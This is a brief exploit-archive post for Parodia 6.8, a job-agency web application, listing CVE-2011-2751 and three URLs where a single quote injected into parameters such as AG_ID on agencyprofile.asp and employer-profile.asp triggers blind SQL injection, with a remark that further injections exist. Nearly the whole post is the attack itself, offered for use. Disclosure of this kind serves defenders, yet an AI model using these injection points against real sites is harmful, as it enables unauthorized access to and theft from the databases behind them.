Home / os / wins2003

Parodia 6.8 SQL Injection

Posted on 25 June 2012

# Exploit Title: Parodia 6.8 and early SQL injection # Date: June 24 2012 # Exploit Author:Carlos Mario Penagos Hollmann # Vendor Homepage: http://www.parodia.net/ # Version: 6.8 # CVE : CVE-2011-2751 http://server/' ---> blind SQL http://server/agencyprofile.asp?AG_ID=' http://server/employer-profile.asp?ag_id=' There are other SQL Blind injections ;)

 

TOP